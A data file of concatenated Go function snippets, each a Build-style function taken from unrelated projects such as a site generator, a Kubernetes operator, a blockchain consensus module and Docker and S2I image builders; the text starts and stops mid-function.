{\n\t\tconfig.OutputUsage()\n\t\tlog.Errorf(\"Invalid graphql config: err: %v\\n\", err)\n\t\tos.Exit(2)\n\t}\n\n\treturn config\n}","func Build() error {\n\tstart := time.Now()\n\n\tconfigContent, err := ioutil.ReadFile(env.ConfigPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not load local config\")\n\t}\n\n\tconfig, err := (&website.Config{}).Parse(string(configContent))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse local config: %v\", err)\n\t}\n\n\tquery, err := config.Query()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not generate query from config: %v\", err)\n\t}\n\n\tdataReq, err := http.NewRequest(\"POST\", env.GraphQLEndpoint, bytes.NewReader(query))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not create data request: %v\", err)\n\t}\n\tdataReq.Header.Add(\"Authorization\", fmt.Sprintf(\"bearer %v\", env.GraphQLToken))\n\n\tdataRes, err := (&http.Client{}).Do(dataReq)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"request for data failed\")\n\t}\n\n\tdataBody := &bytes.Buffer{}\n\t_, err = io.Copy(dataBody, dataRes.Body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not read data response: %v\", err)\n\t}\n\n\tdata, err := (&website.Data{}).Parse(dataBody.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse received data: %v\", err)\n\t}\n\n\tfor i := 0; i < len(config.Creations); i++ {\n\t\tdata.Creations = append(data.Creations, &website.CreationData{\n\t\t\tTitle: config.Creations[i].Title,\n\t\t\tImageURL: config.Creations[i].ImageURL,\n\t\t\tBackgroundColor: config.Creations[i].BackgroundColor,\n\t\t})\n\t}\n\n\toutput, err := website.Render(env.TemplateDir, env.TemplateEntry, data)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not render templates: %v\", err)\n\t}\n\n\terr = ioutil.WriteFile(env.OutputFile, output.Bytes(), 0644)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not write rendered output to file: %v\", err)\n\t}\n\n\tfmt.Printf(\"built in %v\\n\", time.Since(start))\n\n\treturn nil\n}","func New(\n\tnamespace, name, imagesFile string,\n\tmcpInformer mcfginformersv1.MachineConfigPoolInformer,\n\tmcInformer mcfginformersv1.MachineConfigInformer,\n\tcontrollerConfigInformer mcfginformersv1.ControllerConfigInformer,\n\tserviceAccountInfomer coreinformersv1.ServiceAccountInformer,\n\tcrdInformer apiextinformersv1.CustomResourceDefinitionInformer,\n\tdeployInformer appsinformersv1.DeploymentInformer,\n\tdaemonsetInformer appsinformersv1.DaemonSetInformer,\n\tclusterRoleInformer rbacinformersv1.ClusterRoleInformer,\n\tclusterRoleBindingInformer rbacinformersv1.ClusterRoleBindingInformer,\n\tmcoCmInformer,\n\tclusterCmInfomer coreinformersv1.ConfigMapInformer,\n\tinfraInformer configinformersv1.InfrastructureInformer,\n\tnetworkInformer configinformersv1.NetworkInformer,\n\tproxyInformer configinformersv1.ProxyInformer,\n\tdnsInformer configinformersv1.DNSInformer,\n\tclient mcfgclientset.Interface,\n\tkubeClient kubernetes.Interface,\n\tapiExtClient apiextclientset.Interface,\n\tconfigClient configclientset.Interface,\n\toseKubeAPIInformer coreinformersv1.ConfigMapInformer,\n\tnodeInformer coreinformersv1.NodeInformer,\n\tmaoSecretInformer coreinformersv1.SecretInformer,\n\timgInformer configinformersv1.ImageInformer,\n) *Operator {\n\teventBroadcaster := record.NewBroadcaster()\n\teventBroadcaster.StartLogging(klog.Infof)\n\teventBroadcaster.StartRecordingToSink(&coreclientsetv1.EventSinkImpl{Interface: kubeClient.CoreV1().Events(\"\")})\n\n\toptr := &Operator{\n\t\tnamespace: namespace,\n\t\tname: name,\n\t\timagesFile: imagesFile,\n\t\tvStore: newVersionStore(),\n\t\tclient: client,\n\t\tkubeClient: kubeClient,\n\t\tapiExtClient: apiExtClient,\n\t\tconfigClient: configClient,\n\t\teventRecorder: ctrlcommon.NamespacedEventRecorder(eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: \"machineconfigoperator\"})),\n\t\tlibgoRecorder: events.NewRecorder(kubeClient.CoreV1().Events(ctrlcommon.MCONamespace), \"machine-config-operator\", &corev1.ObjectReference{\n\t\t\tKind: \"Deployment\",\n\t\t\tName: \"machine-config-operator\",\n\t\t\tNamespace: ctrlcommon.MCONamespace,\n\t\t\tAPIVersion: \"apps/v1\",\n\t\t}),\n\t\tqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \"machineconfigoperator\"),\n\t}\n\n\tfor _, i := range []cache.SharedIndexInformer{\n\t\tcontrollerConfigInformer.Informer(),\n\t\tserviceAccountInfomer.Informer(),\n\t\tcrdInformer.Informer(),\n\t\tdeployInformer.Informer(),\n\t\tdaemonsetInformer.Informer(),\n\t\tclusterRoleInformer.Informer(),\n\t\tclusterRoleBindingInformer.Informer(),\n\t\tmcoCmInformer.Informer(),\n\t\tclusterCmInfomer.Informer(),\n\t\tinfraInformer.Informer(),\n\t\tnetworkInformer.Informer(),\n\t\tmcpInformer.Informer(),\n\t\tproxyInformer.Informer(),\n\t\toseKubeAPIInformer.Informer(),\n\t\tnodeInformer.Informer(),\n\t\tdnsInformer.Informer(),\n\t\tmaoSecretInformer.Informer(),\n\t} {\n\t\ti.AddEventHandler(optr.eventHandler())\n\t}\n\n\toptr.syncHandler = optr.sync\n\n\toptr.imgLister = imgInformer.Lister()\n\toptr.clusterCmLister = clusterCmInfomer.Lister()\n\toptr.clusterCmListerSynced = clusterCmInfomer.Informer().HasSynced\n\toptr.mcpLister = mcpInformer.Lister()\n\toptr.mcpListerSynced = mcpInformer.Informer().HasSynced\n\toptr.ccLister = controllerConfigInformer.Lister()\n\toptr.ccListerSynced = controllerConfigInformer.Informer().HasSynced\n\toptr.mcLister = mcInformer.Lister()\n\toptr.mcListerSynced = mcInformer.Informer().HasSynced\n\toptr.proxyLister = proxyInformer.Lister()\n\toptr.proxyListerSynced = proxyInformer.Informer().HasSynced\n\toptr.oseKubeAPILister = oseKubeAPIInformer.Lister()\n\toptr.oseKubeAPIListerSynced = oseKubeAPIInformer.Informer().HasSynced\n\toptr.nodeLister = nodeInformer.Lister()\n\toptr.nodeListerSynced = nodeInformer.Informer().HasSynced\n\n\toptr.imgListerSynced = imgInformer.Informer().HasSynced\n\toptr.maoSecretInformerSynced = maoSecretInformer.Informer().HasSynced\n\toptr.serviceAccountInformerSynced = serviceAccountInfomer.Informer().HasSynced\n\toptr.clusterRoleInformerSynced = clusterRoleInformer.Informer().HasSynced\n\toptr.clusterRoleBindingInformerSynced = clusterRoleBindingInformer.Informer().HasSynced\n\toptr.mcoCmLister = mcoCmInformer.Lister()\n\toptr.mcoCmListerSynced = mcoCmInformer.Informer().HasSynced\n\toptr.crdLister = crdInformer.Lister()\n\toptr.crdListerSynced = crdInformer.Informer().HasSynced\n\toptr.deployLister = deployInformer.Lister()\n\toptr.deployListerSynced = deployInformer.Informer().HasSynced\n\toptr.daemonsetLister = daemonsetInformer.Lister()\n\toptr.daemonsetListerSynced = daemonsetInformer.Informer().HasSynced\n\toptr.infraLister = infraInformer.Lister()\n\toptr.infraListerSynced = infraInformer.Informer().HasSynced\n\toptr.networkLister = networkInformer.Lister()\n\toptr.networkListerSynced = networkInformer.Informer().HasSynced\n\toptr.dnsLister = dnsInformer.Lister()\n\toptr.dnsListerSynced = dnsInformer.Informer().HasSynced\n\n\toptr.vStore.Set(\"operator\", version.ReleaseVersion)\n\n\treturn optr\n}","func (b *Builder) Build() (*RollDPoS, error) {\n\tif b.chain == nil {\n\t\treturn nil, errors.Wrap(ErrNewRollDPoS, \"blockchain APIs is nil\")\n\t}\n\tif b.broadcastHandler == nil {\n\t\treturn nil, errors.Wrap(ErrNewRollDPoS, \"broadcast callback is nil\")\n\t}\n\tif b.clock == nil {\n\t\tb.clock = clock.New()\n\t}\n\tb.cfg.DB.DbPath = b.cfg.Consensus.ConsensusDBPath\n\tctx, err := NewRollDPoSCtx(\n\t\tconsensusfsm.NewConsensusConfig(b.cfg.Consensus.FSM, b.cfg.DardanellesUpgrade, b.cfg.Genesis, b.cfg.Consensus.Delay),\n\t\tb.cfg.DB,\n\t\tb.cfg.SystemActive,\n\t\tb.cfg.Consensus.ToleratedOvertime,\n\t\tb.cfg.Genesis.TimeBasedRotation,\n\t\tb.chain,\n\t\tb.blockDeserializer,\n\t\tb.rp,\n\t\tb.broadcastHandler,\n\t\tb.delegatesByEpochFunc,\n\t\tb.proposersByEpochFunc,\n\t\tb.encodedAddr,\n\t\tb.priKey,\n\t\tb.clock,\n\t\tb.cfg.Genesis.BeringBlockHeight,\n\t)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error when constructing consensus context\")\n\t}\n\tcfsm, err := consensusfsm.NewConsensusFSM(ctx, b.clock)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error when constructing the consensus FSM\")\n\t}\n\treturn &RollDPoS{\n\t\tcfsm: cfsm,\n\t\tctx: ctx,\n\t\tstartDelay: b.cfg.Consensus.Delay,\n\t\tready: make(chan interface{}),\n\t}, nil\n}","func (b fileInputBuilder) Build(ctx context.Context, cfg task.ExecutorInputBuilderConfig, deps task.ExecutorInputBuilderDependencies, target *task.ExecutorInputBuilderTarget) error {\n\turi := cfg.AnnotatedValue.GetData()\n\tdeps.Log.Debug().\n\t\tInt(\"sequence-index\", cfg.AnnotatedValueIndex).\n\t\tStr(\"uri\", uri).\n\t\tStr(\"input\", cfg.InputSpec.Name).\n\t\tStr(\"task\", cfg.TaskSpec.Name).\n\t\tMsg(\"Preparing file input value\")\n\n\t// Prepare readonly volume for URI\n\tresp, err := deps.FileSystem.CreateVolumeForRead(ctx, &fs.CreateVolumeForReadRequest{\n\t\tURI: uri,\n\t\tOwner: &cfg.OwnerRef,\n\t\tNamespace: cfg.Pipeline.GetNamespace(),\n\t})\n\tif err != nil {\n\t\treturn maskAny(err)\n\t}\n\t// TODO handle case where node is different\n\tif nodeName := resp.GetNodeName(); nodeName != \"\" {\n\t\ttarget.NodeName = &nodeName\n\t}\n\n\t// Mount PVC or HostPath, depending on result\n\tvolName := util.FixupKubernetesName(fmt.Sprintf(\"input-%s-%d\", cfg.InputSpec.Name, cfg.AnnotatedValueIndex))\n\tif resp.GetVolumeName() != \"\" {\n\t\t// Get created PersistentVolume\n\t\tvar pv corev1.PersistentVolume\n\t\tpvKey := client.ObjectKey{\n\t\t\tName: resp.GetVolumeName(),\n\t\t}\n\t\tif err := deps.Client.Get(ctx, pvKey, &pv); err != nil {\n\t\t\tdeps.Log.Warn().Err(err).Msg(\"Failed to get PersistentVolume\")\n\t\t\treturn maskAny(err)\n\t\t}\n\n\t\t// Add PV to resources for deletion list (if needed)\n\t\tif resp.DeleteAfterUse {\n\t\t\ttarget.Resources = append(target.Resources, &pv)\n\t\t}\n\n\t\t// Create PVC\n\t\tpvcName := util.FixupKubernetesName(fmt.Sprintf(\"%s-%s-%s-%d-%s\", cfg.Pipeline.GetName(), cfg.TaskSpec.Name, cfg.InputSpec.Name, cfg.AnnotatedValueIndex, uniuri.NewLen(6)))\n\t\tstorageClassName := pv.Spec.StorageClassName\n\t\tpvc := corev1.PersistentVolumeClaim{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: pvcName,\n\t\t\t\tNamespace: cfg.Pipeline.GetNamespace(),\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{cfg.OwnerRef},\n\t\t\t},\n\t\t\tSpec: corev1.PersistentVolumeClaimSpec{\n\t\t\t\tAccessModes: pv.Spec.AccessModes,\n\t\t\t\tVolumeName: resp.GetVolumeName(),\n\t\t\t\tResources: corev1.ResourceRequirements{\n\t\t\t\t\tRequests: pv.Spec.Capacity,\n\t\t\t\t},\n\t\t\t\tStorageClassName: &storageClassName,\n\t\t\t},\n\t\t}\n\t\tif err := deps.Client.Create(ctx, &pvc); err != nil {\n\t\t\treturn maskAny(err)\n\t\t}\n\t\ttarget.Resources = append(target.Resources, &pvc)\n\n\t\t// Add volume for the pod\n\t\tvol := corev1.Volume{\n\t\t\tName: volName,\n\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\n\t\t\t\t\tClaimName: pvcName,\n\t\t\t\t\tReadOnly: true,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\n\t} else if resp.GetVolumeClaimName() != \"\" {\n\t\t// Add PVC to resources for deletion list (if needed)\n\t\tif resp.DeleteAfterUse {\n\t\t\t// Get created PersistentVolume\n\t\t\tvar pvc corev1.PersistentVolumeClaim\n\t\t\tpvcKey := client.ObjectKey{\n\t\t\t\tName: resp.GetVolumeClaimName(),\n\t\t\t\tNamespace: cfg.Pipeline.GetNamespace(),\n\t\t\t}\n\t\t\tif err := deps.Client.Get(ctx, pvcKey, &pvc); err != nil {\n\t\t\t\tdeps.Log.Warn().Err(err).Msg(\"Failed to get PersistentVolumeClaim\")\n\t\t\t\treturn maskAny(err)\n\t\t\t}\n\t\t\ttarget.Resources = append(target.Resources, &pvc)\n\t\t}\n\n\t\t// Add volume for the pod, unless such a volume already exists\n\t\tif vol, found := util.GetVolumeWithForPVC(&target.Pod.Spec, resp.GetVolumeClaimName()); !found {\n\t\t\tvol := corev1.Volume{\n\t\t\t\tName: volName,\n\t\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\t\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\n\t\t\t\t\t\tClaimName: resp.GetVolumeClaimName(),\n\t\t\t\t\t\tReadOnly: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\n\t\t} else {\n\t\t\tvolName = vol.Name\n\t\t}\n\t} else if resp.GetVolumePath() != \"\" {\n\t\t// Mount VolumePath as HostPath volume\n\t\tdirType := corev1.HostPathDirectoryOrCreate\n\t\t// Add volume for the pod\n\t\tvol := corev1.Volume{\n\t\t\tName: volName,\n\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\tHostPath: &corev1.HostPathVolumeSource{\n\t\t\t\t\tPath: resp.GetVolumePath(),\n\t\t\t\t\tType: &dirType,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\n\t\t// Ensure pod is schedule on node\n\t\tif nodeName := resp.GetNodeName(); nodeName != \"\" {\n\t\t\tif target.Pod.Spec.NodeName == \"\" {\n\t\t\t\ttarget.Pod.Spec.NodeName = nodeName\n\t\t\t} else if target.Pod.Spec.NodeName != nodeName {\n\t\t\t\t// Found conflict\n\t\t\t\tdeps.Log.Error().\n\t\t\t\t\tStr(\"pod-nodeName\", target.Pod.Spec.NodeName).\n\t\t\t\t\tStr(\"pod-nodeNameRequest\", nodeName).\n\t\t\t\t\tMsg(\"Conflicting pod node spec\")\n\t\t\t\treturn maskAny(fmt.Errorf(\"Conflicting Node assignment\"))\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// No valid respond\n\t\treturn maskAny(fmt.Errorf(\"FileSystem service return invalid response\"))\n\t}\n\n\t// Map volume in container fs namespace\n\tmountPath := filepath.Join(\"/koalja\", \"inputs\", cfg.InputSpec.Name, strconv.Itoa(cfg.AnnotatedValueIndex))\n\ttarget.Container.VolumeMounts = append(target.Container.VolumeMounts, corev1.VolumeMount{\n\t\tName: volName,\n\t\tReadOnly: true,\n\t\tMountPath: mountPath,\n\t\tSubPath: resp.GetSubPath(),\n\t})\n\n\t// Create template data\n\ttarget.TemplateData = append(target.TemplateData, map[string]interface{}{\n\t\t\"volumeName\": resp.GetVolumeName(),\n\t\t\"volumeClaimName\": resp.GetVolumeClaimName(),\n\t\t\"volumePath\": resp.GetVolumePath(),\n\t\t\"mountPath\": mountPath,\n\t\t\"subPath\": resp.GetSubPath(),\n\t\t\"nodeName\": resp.GetNodeName(),\n\t\t\"path\": filepath.Join(mountPath, resp.GetLocalPath()),\n\t\t\"base\": filepath.Base(resp.GetLocalPath()),\n\t\t\"dir\": filepath.Dir(resp.GetLocalPath()),\n\t})\n\n\treturn nil\n}","func (c Config) Build(opts ...zap.Option) (l *zap.Logger, err error) {\n\tvar zc zap.Config\n\tzc, err = c.NewZapConfig()\n\tif err == nil {\n\t\tl, err = zc.Build(opts...)\n\t}\n\n\treturn\n}","func (b *Builder) Build(ctx context.Context) (gapir.Payload, PostDataHandler, NotificationHandler, FenceReadyRequestCallback, error) {\n\tctx = status.Start(ctx, \"Build\")\n\tdefer status.Finish(ctx)\n\tctx = log.Enter(ctx, \"Build\")\n\n\tif config.DebugReplayBuilder {\n\t\tlog.I(ctx, \"Instruction count: %d\", len(b.instructions))\n\t\tb.assertResourceSizesAreAsExpected(ctx)\n\t}\n\n\tbyteOrder := b.memoryLayout.GetEndian()\n\n\topcodes := &bytes.Buffer{}\n\tw := endian.Writer(opcodes, byteOrder)\n\tid := uint32(0)\n\n\tvml := b.layoutVolatileMemory(ctx, w)\n\n\tfor index, i := range b.instructions {\n\t\tif (index%10000 == 9999) || (index == len(b.instructions)-1) {\n\t\t\tstatus.UpdateProgress(ctx, uint64(index), uint64(len(b.instructions)))\n\t\t}\n\t\tif label, ok := i.(asm.Label); ok {\n\t\t\tid = label.Value\n\t\t}\n\t\tif err := i.Encode(vml, w); err != nil {\n\t\t\terr = fmt.Errorf(\"Encode %T failed for command with id %v: %v\", i, id, err)\n\t\t\treturn gapir.Payload{}, nil, nil, nil, err\n\t\t}\n\t}\n\n\tpayload := gapir.Payload{\n\t\tStackSize: uint32(512), // TODO: Calculate stack size\n\t\tVolatileMemorySize: uint32(vml.size),\n\t\tConstants: b.constantMemory.data,\n\t\tResources: b.resources,\n\t\tOpcodes: opcodes.Bytes(),\n\t}\n\tb.volatileSpace += vml.size\n\n\tif config.DebugReplayBuilder {\n\t\tlog.E(ctx, \"----------------------------------\")\n\t\tlog.E(ctx, \"Stack size: 0x%x\", payload.StackSize)\n\t\tlog.E(ctx, \"Volatile memory size: 0x%x\", payload.VolatileMemorySize)\n\t\tlog.E(ctx, \"Constant memory size: 0x%x\", len(payload.Constants))\n\t\tlog.E(ctx, \"Opcodes size: 0x%x\", len(payload.Opcodes))\n\t\tlog.E(ctx, \"Resource count: %d\", len(payload.Resources))\n\t\tlog.E(ctx, \"Decoder count: %d\", len(b.decoders))\n\t\tlog.E(ctx, \"Readers count: %d\", len(b.notificationReaders))\n\t\tlog.E(ctx, \"----------------------------------\")\n\t}\n\n\t// Make a copy of the reference of the finished decoder list to cut off the\n\t// connection between the builder and furture uses of the decoders so that\n\t// the builder do not need to be kept alive when using these decoders.\n\tdecoders := b.decoders\n\thandlePost := func(pd *gapir.PostData) {\n\t\t// TODO: should we skip it instead of return error?\n\t\tctx = log.Enter(ctx, \"PostDataHandler\")\n\t\tif pd == nil {\n\t\t\tlog.E(ctx, \"Cannot handle nil PostData\")\n\t\t}\n\t\tcrash.Go(func() {\n\t\t\tfor _, p := range pd.GetPostDataPieces() {\n\t\t\t\tid := p.GetID()\n\t\t\t\tdata := p.GetData()\n\t\t\t\tif id >= uint64(len(decoders)) {\n\t\t\t\t\tlog.E(ctx, \"No valid decoder found for %v'th post data\", id)\n\t\t\t\t}\n\t\t\t\t// Check that each Postback consumes its expected number of bytes.\n\t\t\t\tvar err error\n\t\t\t\tif len(data) != decoders[id].expectedSize {\n\t\t\t\t\terr = fmt.Errorf(\"%d'th post size mismatch, actual size: %d, expected size: %d\", id, len(data), decoders[id].expectedSize)\n\t\t\t\t}\n\t\t\t\tr := endian.Reader(bytes.NewReader(data), byteOrder)\n\t\t\t\tdecoders[id].decode(r, err)\n\t\t\t}\n\t\t})\n\t}\n\n\t// Make a copy of the reference of the finished notification reader map to\n\t// cut off the connection between the builder and future uses of the readers\n\t// so that the builder do not need to be kept alive when using these readers.\n\treaders := b.notificationReaders\n\thandleNotification := func(n *gapir.Notification) {\n\t\tif n == nil {\n\t\t\tlog.E(ctx, \"Cannot handle nil Notification\")\n\t\t\treturn\n\t\t}\n\t\tcrash.Go(func() {\n\t\t\tid := n.GetId()\n\t\t\tif r, ok := readers[id]; ok {\n\t\t\t\tr(*n)\n\t\t\t} else {\n\t\t\t\tlog.W(ctx, \"Unknown notification received, ID is %d: %v\", id, n)\n\t\t\t}\n\t\t})\n\t}\n\n\tcallbacks := b.fenceReadyCallbacks\n\tfenceReadyCallback := func(n *gapir.FenceReadyRequest) {\n\t\tif n == nil {\n\t\t\tlog.E(ctx, \"Cannot handle nil FenceReadyRequest\")\n\t\t\treturn\n\t\t}\n\t\tid := n.GetId()\n\t\tif r, ok := callbacks[id]; ok {\n\t\t\tr(n)\n\t\t} else {\n\t\t\tlog.W(ctx, \"Unknown fence ready received, ID is %d: %v\", id, n)\n\t\t}\n\t}\n\n\treturn payload, handlePost, handleNotification, fenceReadyCallback, nil\n}","func (workflow *Workflow) Build(\n\tlayerDir, whiteoutSpec, parentBootstrapPath, bootstrapPath string,\n) (string, error) {\n\tworkflow.bootstrapPath = bootstrapPath\n\n\tif parentBootstrapPath != \"\" {\n\t\tworkflow.parentBootstrapPath = parentBootstrapPath\n\t}\n\n\tif err := workflow.builder.Run(BuilderOption{\n\t\tParentBootstrapPath: workflow.parentBootstrapPath,\n\t\tBootstrapPath: workflow.bootstrapPath,\n\t\tRootfsPath: layerDir,\n\t\tBackendType: \"localfs\",\n\t\tBackendConfig: workflow.backendConfig,\n\t\tPrefetchDir: workflow.PrefetchDir,\n\t\tWhiteoutSpec: whiteoutSpec,\n\t\tOutputJSONPath: workflow.debugJSONPath,\n\t}); err != nil {\n\t\treturn \"\", errors.Wrap(err, fmt.Sprintf(\"build layer %s\", layerDir))\n\t}\n\n\tworkflow.parentBootstrapPath = workflow.bootstrapPath\n\n\tblobPath, err := workflow.getLatestBlobPath()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"get latest blob\")\n\t}\n\n\treturn blobPath, nil\n}","func exprBuild(eb expression.Builder) (expr expression.Expression, err error) {\n\texpr, err = eb.Build()\n\tvar uperr expression.UnsetParameterError\n\tif errors.As(err, &uperr) && strings.Contains(uperr.Error(), \"Builder\") {\n\t\t// a zero builder as an argument is fine, so we don't report this\n\t\t// error to the user.\n\t} else if err != nil {\n\t\treturn expr, fmt.Errorf(\"failed to build expression: %T\", err)\n\t}\n\n\treturn expr, nil\n}","func BuildFromTemplate(yamlTemplate string, values interface{}) (*batchv1.Job, error) {\n\tyaml, err := api.ProcessTemplate(yamlTemplate, values)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn Deserialize(yaml)\n}","func (Map) Build(vt ValueType, from, to string) *Map {\n\treturn &Map{\n\t\tType: vt,\n\t\tFrom: strings.Split(from, \".\"),\n\t\tTo: strings.Split(to, \".\"),\n\t}\n}","func BuildImageFromConfig(c *Config) (string, error) {\n\tctx := context.Background()\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// build a complete Dockerfile from the template with the config\n\t// create build context from the dockerfile with some settings, create a tar from it\n\ttmpDir, err := ioutil.TempDir(os.TempDir(), \"d2b-imagedir\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// create \"${tmpDir}/tree\" for files in c.Files\n\t// and in dockerfile they will be copied over using COPY tree/ /\n\tgenerateFilesIfAny(c, path.Join(tmpDir, \"tree\"))\n\n\tdockerfileContent := generateDockerfileContent(c)\n\tlog.Printf(\"[info] dockerfile content is %s\\n\", dockerfileContent)\n\n\tdockerfile, err := os.Create(path.Join(tmpDir, \"Dockerfile\"))\n\tif err != nil {\n\t\tlog.Fatalf(\"Fail to create a Dockerfile %s\\n\", err)\n\t}\n\n\tif _, err := dockerfile.Write([]byte(dockerfileContent)); err != nil {\n\t\tlog.Fatalf(\"Fail to write files %s\\n\", err)\n\t}\n\n\tlog.Printf(\"[info] build image from %s\\n\", tmpDir)\n\n\tbuildContext, err := archive.TarWithOptions(tmpDir, &archive.TarOptions{})\n\tif err != nil {\n\t\tlog.Fatalf(\"Fail to write files %s\\n\", err)\n\t}\n\n\t// this will return additional information as:\n\t//{\"aux\":{\"ID\":\"sha256:818c2f5454779e15fa173b517a6152ef73dd0b6e3a93262271101c5f4320d465\"}}\n\tout := []types.ImageBuildOutput{\n\t\t{\n\t\t\tType: \"string\",\n\t\t\tAttrs: map[string]string{\n\t\t\t\t\"ID\": \"ID\",\n\t\t\t},\n\t\t},\n\t}\n\n\tresp, err := cli.ImageBuild(ctx, buildContext, types.ImageBuildOptions{Outputs: out})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to build image %s\\n\", err)\n\t}\n\n\tvar imageId string\n\tdefer resp.Body.Close()\n\tscanner := bufio.NewScanner(resp.Body)\n\tfor scanner.Scan() {\n\t\tmessage := scanner.Text()\n\t\t// TODO: turn it on\n\t\tlog.Println(message)\n\t\tif strings.Contains(message, \"errorDetail\") {\n\t\t\treturn \"\", fmt.Errorf(\"Faild to create image %s\", message)\n\t\t}\n\n\t\t// we didn't enable only ID so expect only one entry with \"aux\"\n\t\tif strings.Contains(message, \"aux\") {\n\t\t\tid := ResultImageID{}\n\t\t\tif err := json.Unmarshal([]byte(message), &id); err != nil {\n\t\t\t\tlog.Fatalf(\"Failt to get the image id %s\\n\", err)\n\t\t\t}\n\t\t\timageId = id.Aux.ID\n\t\t\tlog.Printf(\"[Info] image id %s\\n\", imageId)\n\t\t}\n\t}\n\n\tif imageId == \"\" {\n\t\treturn \"\", fmt.Errorf(\"Faild to create image - no image id genereated, enable debug to see docker build output\")\n\t}\n\n\treturn imageId, nil\n}","func BuildArborescence() {\n\tvar data = filesystemhelper.OpenFile(\"./configs/\" + language + \".json\")\n\tfilesystemhelper.CreateDirectory(name)\n\tos.Chdir(name)\n\tnewDir, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Println(newDir + \" directory created\")\n\n\tvar config jsonparser.Config\n\tjsonparser.ParseConfig([]byte(data), &config)\n\n\tfilesystemhelper.BuildProjectDirectories(config.Directories)\n\tfilesystemhelper.CreateProjectFiles(config.Files)\n\tfilesystemhelper.LaunchCommands(config.Commands)\n}","func (r *Rest) Build(name string) *Rest {\n\tr.endpoints[name] = r.tmp\n\tr.tmp = RestEndPoint{}\n\treturn r\n}","func (s *STIBuilder) Build() error {\n\tvar push bool\n\n\t// if there is no output target, set one up so the docker build logic\n\t// (which requires a tag) will still work, but we won't push it at the end.\n\tif s.build.Spec.Output.To == nil || len(s.build.Spec.Output.To.Name) == 0 {\n\t\ts.build.Spec.Output.To = &kapi.ObjectReference{\n\t\t\tKind: \"DockerImage\",\n\t\t\tName: noOutputDefaultTag,\n\t\t}\n\t\tpush = false\n\t} else {\n\t\tpush = true\n\t}\n\ttag := s.build.Spec.Output.To.Name\n\n\tconfig := &stiapi.Config{\n\t\tBuilderImage: s.build.Spec.Strategy.SourceStrategy.From.Name,\n\t\tDockerConfig: &stiapi.DockerConfig{Endpoint: s.dockerSocket},\n\t\tSource: s.build.Spec.Source.Git.URI,\n\t\tContextDir: s.build.Spec.Source.ContextDir,\n\t\tDockerCfgPath: os.Getenv(dockercfg.PullAuthType),\n\t\tTag: tag,\n\t\tScriptsURL: s.build.Spec.Strategy.SourceStrategy.Scripts,\n\t\tEnvironment: buildEnvVars(s.build),\n\t\tLabelNamespace: api.DefaultDockerLabelNamespace,\n\t\tIncremental: s.build.Spec.Strategy.SourceStrategy.Incremental,\n\t\tForcePull: s.build.Spec.Strategy.SourceStrategy.ForcePull,\n\t}\n\tif s.build.Spec.Revision != nil && s.build.Spec.Revision.Git != nil &&\n\t\ts.build.Spec.Revision.Git.Commit != \"\" {\n\t\tconfig.Ref = s.build.Spec.Revision.Git.Commit\n\t} else if s.build.Spec.Source.Git.Ref != \"\" {\n\t\tconfig.Ref = s.build.Spec.Source.Git.Ref\n\t}\n\n\tallowedUIDs := os.Getenv(\"ALLOWED_UIDS\")\n\tglog.V(2).Infof(\"The value of ALLOWED_UIDS is [%s]\", allowedUIDs)\n\tif len(allowedUIDs) > 0 {\n\t\terr := config.AllowedUIDs.Set(allowedUIDs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif errs := s.configValidator.ValidateConfig(config); len(errs) != 0 {\n\t\tvar buffer bytes.Buffer\n\t\tfor _, ve := range errs {\n\t\t\tbuffer.WriteString(ve.Error())\n\t\t\tbuffer.WriteString(\", \")\n\t\t}\n\t\treturn errors.New(buffer.String())\n\t}\n\n\t// If DockerCfgPath is provided in api.Config, then attempt to read the the\n\t// dockercfg file and get the authentication for pulling the builder image.\n\tconfig.PullAuthentication, _ = dockercfg.NewHelper().GetDockerAuth(config.BuilderImage, dockercfg.PullAuthType)\n\tconfig.IncrementalAuthentication, _ = dockercfg.NewHelper().GetDockerAuth(tag, dockercfg.PushAuthType)\n\n\tglog.V(2).Infof(\"Creating a new S2I builder with build config: %#v\\n\", describe.DescribeConfig(config))\n\tbuilder, err := s.builderFactory.GetStrategy(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tglog.V(4).Infof(\"Starting S2I build from %s/%s BuildConfig ...\", s.build.Namespace, s.build.Name)\n\n\t// Set the HTTP and HTTPS proxies to be used by the S2I build.\n\toriginalProxies := setHTTPProxy(s.build.Spec.Source.Git.HTTPProxy, 